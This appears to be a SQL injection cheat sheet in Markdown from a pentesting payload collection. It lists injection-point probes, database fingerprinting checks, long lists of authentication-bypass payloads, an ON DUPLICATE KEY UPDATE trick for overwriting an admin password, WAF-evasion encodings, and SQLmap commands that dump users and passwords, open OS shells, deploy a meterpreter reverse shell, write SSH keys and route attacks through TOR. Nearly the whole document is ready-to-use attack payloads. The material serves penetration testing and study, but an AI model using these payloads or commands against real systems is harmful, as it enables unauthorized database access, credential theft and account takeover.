652 lines
24 KiB
Markdown
652 lines
24 KiB
Markdown
|
# SQL injection
|
|||
|
|
|||
|
> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.
|
|||
|
|
|||
|
Attempting to manipulate SQL queries may have goals including:
|
|||
|
- Information Leakage
|
|||
|
- Disclosure of stored data
|
|||
|
- Manipulation of stored data
|
|||
|
- Bypassing authorisation controls
|
|||
|
|
|||
|
## Summary
|
|||
|
|
|||
|
* [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md)
|
|||
|
* [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
|||
|
* [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md)
|
|||
|
* [CheatSheet PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
|||
|
* [CheatSheet SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
|
|||
|
* [CheatSheet Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
|
|||
|
* [Entry point detection](#entry-point-detection)
|
|||
|
* [DBMS Identification](#dbms-identification)
|
|||
|
* [SQL injection using SQLmap](#sql-injection-using-sqlmap)
|
|||
|
* [Basic arguments for SQLmap](#basic-arguments-for-sqlmap)
|
|||
|
* [Load a request file and use mobile user-agent](#load-a-request-file-and-use-mobile-user-agent)
|
|||
|
* [Custom injection in UserAgent/Header/Referer/Cookie](#custom-injection-in-useragentheaderreferercookie)
|
|||
|
* [Second order injection](#second-order-injection)
|
|||
|
* [Shell](#shell)
|
|||
|
* [Crawl a website with SQLmap and auto-exploit](#crawl-a-website-with-sqlmap-and-auto-exploit)
|
|||
|
* [Using TOR with SQLmap](#using-tor-with-sqlmap)
|
|||
|
* [Using a proxy with SQLmap](#using-a-proxy-with-sqlmap)
|
|||
|
* [Using Chrome cookie and a Proxy](#using-chrome-cookie-and-a-proxy)
|
|||
|
* [Using suffix to tamper the injection](#using-suffix-to-tamper-the-injection)
|
|||
|
* [General tamper option and tamper's list](#general-tamper-option-and-tampers-list)
|
|||
|
* [SQLmap without SQL injection](#sqlmap-without-sql-injection)
|
|||
|
* [Authentication bypass](#authentication-bypass)
|
|||
|
* [Authentication Bypass (Raw MD5 SHA1)](#authentication-bypass-raw-md5-sha1)
|
|||
|
* [Polyglot injection](#polyglot-injection-multicontext)
|
|||
|
* [Routed injection](#routed-injection)
|
|||
|
* [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update)
|
|||
|
* [WAF Bypass](#waf-bypass)
|
|||
|
|
|||
|
## Entry point detection
|
|||
|
|
|||
|
Detection of an SQL injection entry point
|
|||
|
Simple characters
|
|||
|
|
|||
|
```sql
|
|||
|
'
|
|||
|
%27
|
|||
|
"
|
|||
|
%22
|
|||
|
#
|
|||
|
%23
|
|||
|
;
|
|||
|
%3B
|
|||
|
)
|
|||
|
Wildcard (*)
|
|||
|
' # required for XML content
|
|||
|
```
|
|||
|
|
|||
|
Multiple encoding
|
|||
|
|
|||
|
```sql
|
|||
|
%%2727
|
|||
|
%25%27
|
|||
|
```
|
|||
|
|
|||
|
Merging characters
|
|||
|
|
|||
|
```sql
|
|||
|
`+HERP
|
|||
|
'||'DERP
|
|||
|
'+'herp
|
|||
|
' 'DERP
|
|||
|
'%20'HERP
|
|||
|
'%2B'HERP
|
|||
|
```
|
|||
|
|
|||
|
Logic Testing
|
|||
|
|
|||
|
```sql
|
|||
|
page.asp?id=1 or 1=1 -- true
|
|||
|
page.asp?id=1' or 1=1 -- true
|
|||
|
page.asp?id=1" or 1=1 -- true
|
|||
|
page.asp?id=1 and 1=2 -- false
|
|||
|
```
|
|||
|
|
|||
|
Weird characters
|
|||
|
|
|||
|
```sql
|
|||
|
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
|
|||
|
transformed into U+0022 QUOTATION MARK (")
|
|||
|
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
|
|||
|
transformed into U+0027 APOSTROPHE (')
|
|||
|
```
|
|||
|
|
|||
|
## DBMS Identification
|
|||
|
|
|||
|
```c
|
|||
|
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
|||
|
["connection_id()=connection_id()" ,"MYSQL"],
|
|||
|
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
|||
|
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
|||
|
["@@CONNECTIONS>0" ,"MSSQL"],
|
|||
|
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
|||
|
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
|||
|
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
|||
|
["ROWNUM=ROWNUM" ,"ORACLE"],
|
|||
|
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
|||
|
["LNNVL(0=123)" ,"ORACLE"],
|
|||
|
["5::int=5" ,"POSTGRESQL"],
|
|||
|
["5::integer=5" ,"POSTGRESQL"],
|
|||
|
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
|||
|
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
|||
|
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
|||
|
["current_database()=current_database()" ,"POSTGRESQL"],
|
|||
|
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
|||
|
["last_insert_rowid()>1" ,"SQLITE"],
|
|||
|
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
|||
|
["val(cvar(1))=1" ,"MSACCESS"],
|
|||
|
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
|||
|
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
|||
|
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
|||
|
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
|||
|
```
|
|||
|
|
|||
|
## SQL injection using SQLmap
|
|||
|
|
|||
|
### Basic arguments for SQLmap
|
|||
|
|
|||
|
```powershell
|
|||
|
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
|
|||
|
```
|
|||
|
|
|||
|
### Load a request file and use mobile user-agent
|
|||
|
|
|||
|
```powershell
|
|||
|
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
|
|||
|
```
|
|||
|
|
|||
|
### Custom injection in UserAgent/Header/Referer/Cookie
|
|||
|
|
|||
|
```powershell
|
|||
|
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
|
|||
|
The injection is located at the '*'
|
|||
|
```
|
|||
|
|
|||
|
### Second order injection
|
|||
|
|
|||
|
```powershell
|
|||
|
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
|||
|
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
|||
|
```
|
|||
|
|
|||
|
### Shell
|
|||
|
|
|||
|
```powershell
|
|||
|
SQL Shell
|
|||
|
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
|
|||
|
|
|||
|
Simple Shell
|
|||
|
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
|||
|
|
|||
|
Dropping a reverse-shell / meterpreter
|
|||
|
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
|||
|
|
|||
|
SSH Shell by dropping an SSH key
|
|||
|
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
|
|||
|
```
|
|||
|
|
|||
|
### Crawl a website with SQLmap and auto-exploit
|
|||
|
|
|||
|
```powershell
|
|||
|
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
|||
|
|
|||
|
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
|
|||
|
--crawl = how deep you want to crawl a site
|
|||
|
--forms = Parse and test forms
|
|||
|
```
|
|||
|
|
|||
|
### Using TOR with SQLmap
|
|||
|
|
|||
|
```powershell
|
|||
|
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
|
|||
|
```
|
|||
|
|
|||
|
### Using a proxy with SQLmap
|
|||
|
|
|||
|
```powershell
|
|||
|
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
|
|||
|
```
|
|||
|
|
|||
|
### Using Chrome cookie and a Proxy
|
|||
|
|
|||
|
```powershell
|
|||
|
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3
|
|||
|
```
|
|||
|
|
|||
|
### Using suffix to tamper the injection
|
|||
|
|
|||
|
```powershell
|
|||
|
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
|||
|
```
|
|||
|
|
|||
|
|
|||
|
### General tamper option and tamper's list
|
|||
|
|
|||
|
```powershell
|
|||
|
tamper=name_of_the_tamper
|
|||
|
```
|
|||
|
|
|||
|
| Tamper | Description |
|
|||
|
| --- | --- |
|
|||
|
|0x2char.py | Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),…) counterpart |
|
|||
|
|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
|
|||
|
|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart|
|
|||
|
|appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
|
|||
|
|base64encode.py | Base64 all characters in a given payload |
|
|||
|
|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
|
|||
|
|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
|
|||
|
|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
|
|||
|
|charencode.py | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) |
|
|||
|
|charunicodeencode.py | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) |
|
|||
|
|charunicodeescape.py | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) |
|
|||
|
|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'|
|
|||
|
|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'|
|
|||
|
|commentbeforeparentheses.py | Prepends (inline) comment before parentheses (e.g. ( -> /**/() |
|
|||
|
|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'|
|
|||
|
|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
|
|||
|
|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) |
|
|||
|
|equaltolike.py | Replaces all occurrences of operator equal ('=') with operator 'LIKE' |
|
|||
|
|escapequotes.py | Slash escape quotes (' and ") |
|
|||
|
|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
|
|||
|
|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
|
|||
|
|htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ') |
|
|||
|
|ifnull2casewhenisnull.py | Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart|
|
|||
|
|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
|
|||
|
|informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier |
|
|||
|
|least.py | Replaces greater than operator (‘>’) with ‘LEAST’ counterpart |
|
|||
|
|lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) |
|
|||
|
|modsecurityversioned.py | Embraces complete query with versioned comment |
|
|||
|
|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
|
|||
|
|multiplespaces.py | Adds multiple spaces around SQL keywords |
|
|||
|
|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters|
|
|||
|
|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
|
|||
|
|overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) |
|
|||
|
|percentage.py | Adds a percentage sign ('%') infront of each character |
|
|||
|
|plus2concat.py | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart |
|
|||
|
|plus2fnconcat.py | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart |
|
|||
|
|randomcase.py | Replaces each keyword character with random case value |
|
|||
|
|randomcomments.py | Add random comments to SQL keywords|
|
|||
|
|securesphere.py | Appends special crafted string |
|
|||
|
|sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
|
|||
|
|space2comment.py | Replaces space character (' ') with comments |
|
|||
|
|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
|
|||
|
|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
|
|||
|
|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
|
|||
|
|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|
|||
|
|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
|
|||
|
|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|
|||
|
|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
|
|||
|
|space2plus.py | Replaces space character (' ') with plus ('+') |
|
|||
|
|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|
|||
|
|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) |
|
|||
|
|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
|
|||
|
|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
|
|||
|
|uppercase.py | Replaces each keyword character with upper case value 'INSERT'|
|
|||
|
|varnish.py | Append a HTTP header 'X-originating-IP' |
|
|||
|
|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
|
|||
|
|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
|
|||
|
|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'|
|
|||
|
|
|||
|
### SQLmap without SQL injection
|
|||
|
|
|||
|
You can use SQLmap to access a database via its port instead of a URL.
|
|||
|
|
|||
|
```ps1
|
|||
|
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all
|
|||
|
```
|
|||
|
|
|||
|
## Authentication bypass
|
|||
|
|
|||
|
```sql
|
|||
|
'-'
|
|||
|
' '
|
|||
|
'&'
|
|||
|
'^'
|
|||
|
'*'
|
|||
|
' or 1=1 limit 1 -- -+
|
|||
|
'="or'
|
|||
|
' or ''-'
|
|||
|
' or '' '
|
|||
|
' or ''&'
|
|||
|
' or ''^'
|
|||
|
' or ''*'
|
|||
|
'-||0'
|
|||
|
"-||0"
|
|||
|
"-"
|
|||
|
" "
|
|||
|
"&"
|
|||
|
"^"
|
|||
|
"*"
|
|||
|
'--'
|
|||
|
"--"
|
|||
|
'--' / "--"
|
|||
|
" or ""-"
|
|||
|
" or "" "
|
|||
|
" or ""&"
|
|||
|
" or ""^"
|
|||
|
" or ""*"
|
|||
|
or true--
|
|||
|
" or true--
|
|||
|
' or true--
|
|||
|
") or true--
|
|||
|
') or true--
|
|||
|
' or 'x'='x
|
|||
|
') or ('x')=('x
|
|||
|
')) or (('x'))=(('x
|
|||
|
" or "x"="x
|
|||
|
") or ("x")=("x
|
|||
|
")) or (("x"))=(("x
|
|||
|
or 2 like 2
|
|||
|
or 1=1
|
|||
|
or 1=1--
|
|||
|
or 1=1#
|
|||
|
or 1=1/*
|
|||
|
admin' --
|
|||
|
admin' -- -
|
|||
|
admin' #
|
|||
|
admin'/*
|
|||
|
admin' or '2' LIKE '1
|
|||
|
admin' or 2 LIKE 2--
|
|||
|
admin' or 2 LIKE 2#
|
|||
|
admin') or 2 LIKE 2#
|
|||
|
admin') or 2 LIKE 2--
|
|||
|
admin') or ('2' LIKE '2
|
|||
|
admin') or ('2' LIKE '2'#
|
|||
|
admin') or ('2' LIKE '2'/*
|
|||
|
admin' or '1'='1
|
|||
|
admin' or '1'='1'--
|
|||
|
admin' or '1'='1'#
|
|||
|
admin' or '1'='1'/*
|
|||
|
admin'or 1=1 or ''='
|
|||
|
admin' or 1=1
|
|||
|
admin' or 1=1--
|
|||
|
admin' or 1=1#
|
|||
|
admin' or 1=1/*
|
|||
|
admin') or ('1'='1
|
|||
|
admin') or ('1'='1'--
|
|||
|
admin') or ('1'='1'#
|
|||
|
admin') or ('1'='1'/*
|
|||
|
admin') or '1'='1
|
|||
|
admin') or '1'='1'--
|
|||
|
admin') or '1'='1'#
|
|||
|
admin') or '1'='1'/*
|
|||
|
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
|
|||
|
admin" --
|
|||
|
admin';-- azer
|
|||
|
admin" #
|
|||
|
admin"/*
|
|||
|
admin" or "1"="1
|
|||
|
admin" or "1"="1"--
|
|||
|
admin" or "1"="1"#
|
|||
|
admin" or "1"="1"/*
|
|||
|
admin"or 1=1 or ""="
|
|||
|
admin" or 1=1
|
|||
|
admin" or 1=1--
|
|||
|
admin" or 1=1#
|
|||
|
admin" or 1=1/*
|
|||
|
admin") or ("1"="1
|
|||
|
admin") or ("1"="1"--
|
|||
|
admin") or ("1"="1"#
|
|||
|
admin") or ("1"="1"/*
|
|||
|
admin") or "1"="1
|
|||
|
admin") or "1"="1"--
|
|||
|
admin") or "1"="1"#
|
|||
|
admin") or "1"="1"/*
|
|||
|
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
|
|||
|
```
|
|||
|
|
|||
|
## Authentication Bypass (Raw MD5 SHA1)
|
|||
|
|
|||
|
When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.
|
|||
|
|
|||
|
```php
|
|||
|
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
|||
|
```
|
|||
|
|
|||
|
Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING`
|
|||
|
|
|||
|
```php
|
|||
|
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b
|
|||
|
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
|||
|
```
|
|||
|
|
|||
|
Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)
|
|||
|
|
|||
|
## Polyglot injection (multicontext)
|
|||
|
|
|||
|
```sql
|
|||
|
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|||
|
|
|||
|
/* MySQL only */
|
|||
|
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
|
|||
|
```
|
|||
|
|
|||
|
## Routed injection
|
|||
|
|
|||
|
```sql
|
|||
|
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
|||
|
```
|
|||
|
|
|||
|
## Insert Statement - ON DUPLICATE KEY UPDATE
|
|||
|
|
|||
|
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
|
|||
|
|
|||
|
```sql
|
|||
|
Inject using payload:
|
|||
|
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
|
|||
|
|
|||
|
The query would look like this:
|
|||
|
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
|
|||
|
|
|||
|
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
|
|||
|
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
|
|||
|
|
|||
|
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
|
|||
|
```
|
|||
|
|
|||
|
## WAF Bypass
|
|||
|
|
|||
|
### White spaces alternatives
|
|||
|
|
|||
|
No Space (%20) - bypass using whitespace alternatives
|
|||
|
|
|||
|
```sql
|
|||
|
?id=1%09and%091=1%09--
|
|||
|
?id=1%0Dand%0D1=1%0D--
|
|||
|
?id=1%0Cand%0C1=1%0C--
|
|||
|
?id=1%0Band%0B1=1%0B--
|
|||
|
?id=1%0Aand%0A1=1%0A--
|
|||
|
?id=1%A0and%A01=1%A0--
|
|||
|
```
|
|||
|
|
|||
|
No Whitespace - bypass using comments
|
|||
|
|
|||
|
```sql
|
|||
|
?id=1/*comment*/and/**/1=1/**/--
|
|||
|
```
|
|||
|
|
|||
|
No Whitespace - bypass using parenthesis
|
|||
|
|
|||
|
```sql
|
|||
|
?id=(1)and(1)=(1)--
|
|||
|
```
|
|||
|
|
|||
|
Whitespace alternatives by DBMS
|
|||
|
| DBMS | ASCII characters in hexadicimal |
|
|||
|
| ---- | ------------------------------- |
|
|||
|
| SQLite3 | 0A, 0D, 0C, 09, 20 |
|
|||
|
| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
|
|||
|
| MySQL 3 | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
|
|||
|
| PostgreSQL | 0A, 0D, 0C, 09, 20 |
|
|||
|
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
|
|||
|
| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |
|
|||
|
|
|||
|
Example of query where spaces were replaced by ascii characters above 0x80
|
|||
|
```
|
|||
|
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
|
|||
|
```
|
|||
|
|
|||
|
### No Comma
|
|||
|
|
|||
|
Bypass using OFFSET, FROM and JOIN
|
|||
|
|
|||
|
```sql
|
|||
|
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
|||
|
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
|||
|
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
|||
|
```
|
|||
|
|
|||
|
### No Equal
|
|||
|
|
|||
|
Bypass using LIKE/NOT IN/IN/BETWEEN
|
|||
|
|
|||
|
```sql
|
|||
|
?id=1 and substring(version(),1,1)like(5)
|
|||
|
?id=1 and substring(version(),1,1)not in(4,3)
|
|||
|
?id=1 and substring(version(),1,1)in(4,3)
|
|||
|
?id=1 and substring(version(),1,1) between 3 and 4
|
|||
|
```
|
|||
|
|
|||
|
### Case modification
|
|||
|
|
|||
|
Bypass using uppercase/lowercase (see keyword AND)
|
|||
|
|
|||
|
```sql
|
|||
|
?id=1 AND 1=1#
|
|||
|
?id=1 AnD 1=1#
|
|||
|
?id=1 aNd 1=1#
|
|||
|
```
|
|||
|
|
|||
|
Bypass using keywords case insensitive / Bypass using an equivalent operator
|
|||
|
|
|||
|
```sql
|
|||
|
AND -> &&
|
|||
|
OR -> ||
|
|||
|
= -> LIKE,REGEXP, BETWEEN, not < and not >
|
|||
|
> X -> not between 0 and X
|
|||
|
WHERE -> HAVING
|
|||
|
```
|
|||
|
|
|||
|
### Obfuscation by DBMS
|
|||
|
|
|||
|
MySQL
|
|||
|
```
|
|||
|
1.UNION SELECT 2
|
|||
|
3.2UNION SELECT 2
|
|||
|
1e0UNION SELECT 2
|
|||
|
SELECT\N/0.e3UNION SELECT 2
|
|||
|
1e1AND-0.0UNION SELECT 2
|
|||
|
1/*!12345UNION/*!31337SELECT/*!table_name*/
|
|||
|
{ts 1}UNION SELECT.`` 1.e.table_name
|
|||
|
SELECT $.`` 1.e.table_name
|
|||
|
SELECT{_ .``1.e.table_name}
|
|||
|
SELECT LightOS . ``1.e.table_name LightOS
|
|||
|
SELECT information_schema 1337.e.tables 13.37e.table_name
|
|||
|
SELECT 1 from information_schema 9.e.table_name
|
|||
|
```
|
|||
|
|
|||
|
MSSQL
|
|||
|
```
|
|||
|
.1UNION SELECT 2
|
|||
|
1.UNION SELECT.2alias
|
|||
|
1e0UNION SELECT 2
|
|||
|
1e1AND-1=0.0UNION SELECT 2
|
|||
|
SELECT 0xUNION SELECT 2
|
|||
|
SELECT\UNION SELECT 2
|
|||
|
\1UNION SELECT 2
|
|||
|
SELECT 1FROM[table]WHERE\1=\1AND\1=\1
|
|||
|
SELECT"table_name"FROM[information_schema].[tables]
|
|||
|
```
|
|||
|
|
|||
|
Oracle
|
|||
|
```
|
|||
|
1FUNION SELECT 2
|
|||
|
1DUNION SELECT 2
|
|||
|
SELECT 0x7461626c655f6e616d65 FROM all_tab_tables
|
|||
|
SELECT CHR(116) || CHR(97) || CHR(98) FROM all_tab_tables
|
|||
|
SELECT%00table_name%00FROM%00all_tab_tables
|
|||
|
```
|
|||
|
|
|||
|
### More MySQL specific
|
|||
|
|
|||
|
`information_schema.tables` alternative
|
|||
|
|
|||
|
```sql
|
|||
|
select * from mysql.innodb_table_stats;
|
|||
|
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
|
|||
|
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
|
|||
|
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
|
|||
|
| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
|
|||
|
| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
|
|||
|
...
|
|||
|
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
|
|||
|
|
|||
|
mysql> show tables in dvwa;
|
|||
|
+----------------+
|
|||
|
| Tables_in_dvwa |
|
|||
|
+----------------+
|
|||
|
| guestbook |
|
|||
|
| users |
|
|||
|
+----------------+
|
|||
|
```
|
|||
|
|
|||
|
Version Alternative
|
|||
|
|
|||
|
```sql
|
|||
|
mysql> select @@innodb_version;
|
|||
|
+------------------+
|
|||
|
| @@innodb_version |
|
|||
|
+------------------+
|
|||
|
| 5.6.31 |
|
|||
|
+------------------+
|
|||
|
|
|||
|
mysql> select @@version;
|
|||
|
+-------------------------+
|
|||
|
| @@version |
|
|||
|
+-------------------------+
|
|||
|
| 5.6.31-0ubuntu0.15.10.1 |
|
|||
|
+-------------------------+
|
|||
|
|
|||
|
mysql> mysql> select version();
|
|||
|
+-------------------------+
|
|||
|
| version() |
|
|||
|
+-------------------------+
|
|||
|
| 5.6.31-0ubuntu0.15.10.1 |
|
|||
|
+-------------------------+
|
|||
|
```
|
|||
|
|
|||
|
#### WAF bypass for MySQL using scientific notation
|
|||
|
|
|||
|
Blocked
|
|||
|
```sql
|
|||
|
' or ''='
|
|||
|
```
|
|||
|
Working
|
|||
|
```sql
|
|||
|
' or 1.e('')='
|
|||
|
```
|
|||
|
Obfuscated query
|
|||
|
```sql
|
|||
|
1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
|
|||
|
```
|
|||
|
|
|||
|
## References
|
|||
|
|
|||
|
* Detect SQLi
|
|||
|
* [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
|
|||
|
* [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/)
|
|||
|
* MySQL:
|
|||
|
* [PentestMonkey's mySQL injection cheat sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
|
|||
|
